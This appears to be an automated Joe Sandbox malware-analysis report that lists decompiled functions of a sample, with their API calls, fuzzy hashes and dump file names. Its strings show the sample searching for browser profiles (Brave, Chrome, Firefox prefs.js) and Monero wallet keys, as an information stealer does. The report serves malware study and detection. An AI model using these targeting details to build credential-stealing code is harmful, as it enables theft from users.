Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: f2adac6829c95187bba53b9ab19aa6f3eb19378bb1196d9e34356e1013c436eb
Instruction ID: 752ad098e9eb122c6ad07e409ba07b8970527ba38190f0086292b0dc380dd12e
Opcode Fuzzy Hash: f2adac6829c95187bba53b9ab19aa6f3eb19378bb1196d9e34356e1013c436eb
Instruction Fuzzy Hash: 6DE012B592430963CF0073B0AD0FF2A329C9B1574DF080825FA05D3102FA25F805A67A

Non-executed Functions

Function 00D938B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00D938CC
FindFirstFileA.KERNEL32(?,?), ref: 00D938E3
lstrcat.KERNEL32(?,?), ref: 00D93935
StrCmpCA.SHLWAPI(?,00DA0F70), ref: 00D93947
StrCmpCA.SHLWAPI(?,00DA0F74), ref: 00D9395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00D93C67
FindClose.KERNEL32(000000FF), ref: 00D93C7C

Strings

%s\%s, xrefs: 00D93A6F
%s\%s\%s, xrefs: 00D93A4A
%s\*, xrefs: 00D938C0
%s%s, xrefs: 00D93AAD
%s\%s, xrefs: 00D9397A

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 759a49bad4fd0577284adf68706fb7401a1a98fc87b14522306822fa6c682215
Instruction ID: a2109918f611b35500763aa4eaeeece2dd7844402f47e3afd5d1d1c587d02fea
Opcode Fuzzy Hash: 759a49bad4fd0577284adf68706fb7401a1a98fc87b14522306822fa6c682215
Instruction Fuzzy Hash: F9A12FB190021CABDB24DBA4DD85FEA7379FF48304F084588A64997141EB75AB88CF72

Function 00D8BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D9A740: lstrcpy.KERNEL32(00DA0E17,00000000), ref: 00D9A788

Part of subcall function 00D9A920: lstrcpy.KERNEL32(00000000,?), ref: 00D9A972
Part of subcall function 00D9A920: lstrcat.KERNEL32(00000000), ref: 00D9A982

Part of subcall function 00D9A9B0: lstrlen.KERNEL32(?,01829188,?,\Monero\wallet.keys,00DA0E17), ref: 00D9A9C5
Part of subcall function 00D9A9B0: lstrcpy.KERNEL32(00000000), ref: 00D9AA04
Part of subcall function 00D9A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D9AA12

Part of subcall function 00D9A8A0: lstrcpy.KERNEL32(?,00DA0E17), ref: 00D9A905

FindFirstFileA.KERNEL32(00000000,?,00DA0B32,00DA0B2B,00000000,?,?,?,00DA13F4,00DA0B2A), ref: 00D8BEF5
StrCmpCA.SHLWAPI(?,00DA13F8), ref: 00D8BF4D
StrCmpCA.SHLWAPI(?,00DA13FC), ref: 00D8BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 00D8C7BF
FindClose.KERNEL32(000000FF), ref: 00D8C7D1

Strings

\Brave\Preferences, xrefs: 00D8C1DB
Preferences, xrefs: 00D8C11E
Google Chrome, xrefs: 00D8C634
Brave, xrefs: 00D8C102

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: e66dcce4897b5dd7e5abe75f3e63bd2e662dc2d81f6694b95cfbf7e20250cd1f
Instruction ID: a6cd65b3f17b0302e434f8cee751c14148a3c7a5314079f65c3f80d43583a25c
Opcode Fuzzy Hash: e66dcce4897b5dd7e5abe75f3e63bd2e662dc2d81f6694b95cfbf7e20250cd1f
Instruction Fuzzy Hash: 2F422D72910118ABCF14FBB4DD96EEE737DEF94300F404558B90A96191EE34AA49CBF2

Function 00D94910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00D9492C
FindFirstFileA.KERNEL32(?,?), ref: 00D94943
StrCmpCA.SHLWAPI(?,00DA0FDC), ref: 00D94971
StrCmpCA.SHLWAPI(?,00DA0FE0), ref: 00D94987
FindNextFileA.KERNEL32(000000FF,?), ref: 00D94B7D
FindClose.KERNEL32(000000FF), ref: 00D94B92

Strings

%s\%s, xrefs: 00D949FB
%s\%s, xrefs: 00D949A4
%s\*, xrefs: 00D94920

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: d38ed5c283f639aca7594db3c2855327061578cefa871787a85e431dc8e46152
Instruction ID: e9219994447ebf47ff0a2f49e09babeb97d1d7827be6a63ab3bf95f65c2bbaf0
Opcode Fuzzy Hash: d38ed5c283f639aca7594db3c2855327061578cefa871787a85e431dc8e46152
Instruction Fuzzy Hash: B86152B290021CAFCB20EBA0DD49EEA737CBF48704F044588B64996041EA35EB498FB1

Function 00D94570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00D94580
RtlAllocateHeap.NTDLL(00000000), ref: 00D94587
wsprintfA.USER32 ref: 00D945A6
FindFirstFileA.KERNEL32(?,?), ref: 00D945BD
StrCmpCA.SHLWAPI(?,00DA0FC4), ref: 00D945EB
StrCmpCA.SHLWAPI(?,00DA0FC8), ref: 00D94601
FindNextFileA.KERNEL32(000000FF,?), ref: 00D9468B
FindClose.KERNEL32(000000FF), ref: 00D946A0
lstrcat.KERNEL32(?,0182EAB8), ref: 00D946C5
lstrcat.KERNEL32(?,0182D860), ref: 00D946D8
lstrlen.KERNEL32(?), ref: 00D946E5
lstrlen.KERNEL32(?), ref: 00D946F6

Strings

%s\*, xrefs: 00D9459A
%s\%s, xrefs: 00D9461B

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 16cd7094f299064116e79807f2977a505f0d8927a0e032133433a18d1a383747
Instruction ID: 1aa148174a59f88f7d81bfde69bdb4b3f2be9772a865a5823e4e14c7dd3d2c83
Opcode Fuzzy Hash: 16cd7094f299064116e79807f2977a505f0d8927a0e032133433a18d1a383747
Instruction Fuzzy Hash: E55153B154021CABCB20EB70DD8AFED777CAF54704F404588B60993191EB75AB899FB1

Function 00D93EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00D93EC3
FindFirstFileA.KERNEL32(?,?), ref: 00D93EDA
StrCmpCA.SHLWAPI(?,00DA0FAC), ref: 00D93F08
StrCmpCA.SHLWAPI(?,00DA0FB0), ref: 00D93F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00D9406C
FindClose.KERNEL32(000000FF), ref: 00D94081

Strings

%s\%s, xrefs: 00D93EB7

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 1bb34b33ddba045d1da562ef696e13e080027c5adc1c4862758b3c4c4095fef9
Instruction ID: f83177994b80697217d40b383f282a916afe0ee13d98f86d7d0fa45c76f398bf
Opcode Fuzzy Hash: 1bb34b33ddba045d1da562ef696e13e080027c5adc1c4862758b3c4c4095fef9
Instruction Fuzzy Hash: B45136B690021CABCB24EBB0DD46EEA737CFF44704F444588B65996080DB75EB899FB1

Function 00D8ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00D8ED3E
FindFirstFileA.KERNEL32(?,?), ref: 00D8ED55
StrCmpCA.SHLWAPI(?,00DA1538), ref: 00D8EDAB
StrCmpCA.SHLWAPI(?,00DA153C), ref: 00D8EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00D8F2AE
FindClose.KERNEL32(000000FF), ref: 00D8F2C3

Strings

%s\*.*, xrefs: 00D8ED32

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 9cec7fc5a7bb2fab012bcf45fcd8a333846d342a90c3879764c53c724bfcbfb1
Instruction ID: e9d9d976c18728356cbc8720414fba96544fe3e6b0dcce4851f202b4edf814d3
Opcode Fuzzy Hash: 9cec7fc5a7bb2fab012bcf45fcd8a333846d342a90c3879764c53c724bfcbfb1
Instruction Fuzzy Hash: F5E19F73911128AADF55FB64DD52EEE7378EF54300F404599B50A62092EE306F8ACFB2

Function 00D8F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D9A740: lstrcpy.KERNEL32(00DA0E17,00000000), ref: 00D9A788

Part of subcall function 00D9A920: lstrcpy.KERNEL32(00000000,?), ref: 00D9A972
Part of subcall function 00D9A920: lstrcat.KERNEL32(00000000), ref: 00D9A982

Part of subcall function 00D9A9B0: lstrlen.KERNEL32(?,01829188,?,\Monero\wallet.keys,00DA0E17), ref: 00D9A9C5
Part of subcall function 00D9A9B0: lstrcpy.KERNEL32(00000000), ref: 00D9AA04
Part of subcall function 00D9A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D9AA12

Part of subcall function 00D9A8A0: lstrcpy.KERNEL32(?,00DA0E17), ref: 00D9A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00DA15B8,00DA0D96), ref: 00D8F71E
StrCmpCA.SHLWAPI(?,00DA15BC), ref: 00D8F76F
StrCmpCA.SHLWAPI(?,00DA15C0), ref: 00D8F785
FindNextFileA.KERNEL32(000000FF,?), ref: 00D8FAB1
FindClose.KERNEL32(000000FF), ref: 00D8FAC3

Strings

prefs.js, xrefs: 00D8F812

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: b29178dcc12b304c218fb62d3d0f10cd2dab3295a1df04625a57db7ce7fe2711
Instruction ID: f5a25eca013e707c78551704d65f44872be19c7a2b55164ec559f3c34dfc6651
Opcode Fuzzy Hash: b29178dcc12b304c218fb62d3d0f10cd2dab3295a1df04625a57db7ce7fe2711
Instruction Fuzzy Hash: DDB1FE729101189BDF24FB64DD96AEE7379EF54300F4085A9A40A97191EF30AB49CFF2

Function 00D816D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D9A740: lstrcpy.KERNEL32(00DA0E17,00000000), ref: 00D9A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00DA510C,?,?,?,00DA51B4,?,?,00000000,?,00000000), ref: 00D81923
StrCmpCA.SHLWAPI(?,00DA525C), ref: 00D81973
StrCmpCA.SHLWAPI(?,00DA5304), ref: 00D81989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00D81D40
DeleteFileA.KERNEL32(00000000), ref: 00D81DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00D81E20
FindClose.KERNEL32(000000FF), ref: 00D81E32

Part of subcall function 00D9A920: lstrcpy.KERNEL32(00000000,?), ref: 00D9A972
Part of subcall function 00D9A920: lstrcat.KERNEL32(00000000), ref: 00D9A982

Part of subcall function 00D9A9B0: lstrlen.KERNEL32(?,01829188,?,\Monero\wallet.keys,00DA0E17), ref: 00D9A9C5
Part of subcall function 00D9A9B0: lstrcpy.KERNEL32(00000000), ref: 00D9AA04
Part of subcall function 00D9A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D9AA12

Part of subcall function 00D9A8A0: lstrcpy.KERNEL32(?,00DA0E17), ref: 00D9A905

Strings

\*.*, xrefs: 00D817F1

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 7381834bbf899f9a39dfbe236f7a9308a0b4fdf6c65091bb1da20d0ac0919b53
Instruction ID: 07c1e854138e98c64b9a0f7bca79265f0e022bc6e4cd727c4c87eae68bc82d88
Opcode Fuzzy Hash: 7381834bbf899f9a39dfbe236f7a9308a0b4fdf6c65091bb1da20d0ac0919b53
Instruction Fuzzy Hash: C4129A72920128AADF19FB64DC96AEE7378EF54300F404599A50A66091EF706F89CFF1

Function 00D8DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D9A740: lstrcpy.KERNEL32(00DA0E17,00000000), ref: 00D9A788

Part of subcall function 00D9A9B0: lstrlen.KERNEL32(?,01829188,?,\Monero\wallet.keys,00DA0E17), ref: 00D9A9C5
Part of subcall function 00D9A9B0: lstrcpy.KERNEL32(00000000), ref: 00D9AA04
Part of subcall function 00D9A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D9AA12

Part of subcall function 00D9A8A0: lstrcpy.KERNEL32(?,00DA0E17), ref: 00D9A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00DA0C2E), ref: 00D8DE5E
StrCmpCA.SHLWAPI(?,00DA14C8), ref: 00D8DEAE
StrCmpCA.SHLWAPI(?,00DA14CC), ref: 00D8DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00D8E3E0
FindClose.KERNEL32(000000FF), ref: 00D8E3F2

Strings

\*.*, xrefs: 00D8DE26

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 18e816a55811d43dfc4665c89392099d0187b97ee3fc53563507c6d4f06cab89
Instruction ID: 42785697010d0b139d3e6f5034a6fef0419a15739b9fb6fb32c90655b80d1211
Opcode Fuzzy Hash: 18e816a55811d43dfc4665c89392099d0187b97ee3fc53563507c6d4f06cab89
Instruction Fuzzy Hash: DBF17E728241289ADF15FB64DC96EEE7378FF54300F8041D9A41A62091EF706B4ACFB1

Function 00D8DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D9A740: lstrcpy.KERNEL32(00DA0E17,00000000), ref: 00D9A788

Part of subcall function 00D9A920: lstrcpy.KERNEL32(00000000,?), ref: 00D9A972
Part of subcall function 00D9A920: lstrcat.KERNEL32(00000000), ref: 00D9A982

Part of subcall function 00D9A9B0: lstrlen.KERNEL32(?,01829188,?,\Monero\wallet.keys,00DA0E17), ref: 00D9A9C5
Part of subcall function 00D9A9B0: lstrcpy.KERNEL32(00000000), ref: 00D9AA04
Part of subcall function 00D9A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D9AA12

Part of subcall function 00D9A8A0: lstrcpy.KERNEL32(?,00DA0E17), ref: 00D9A905

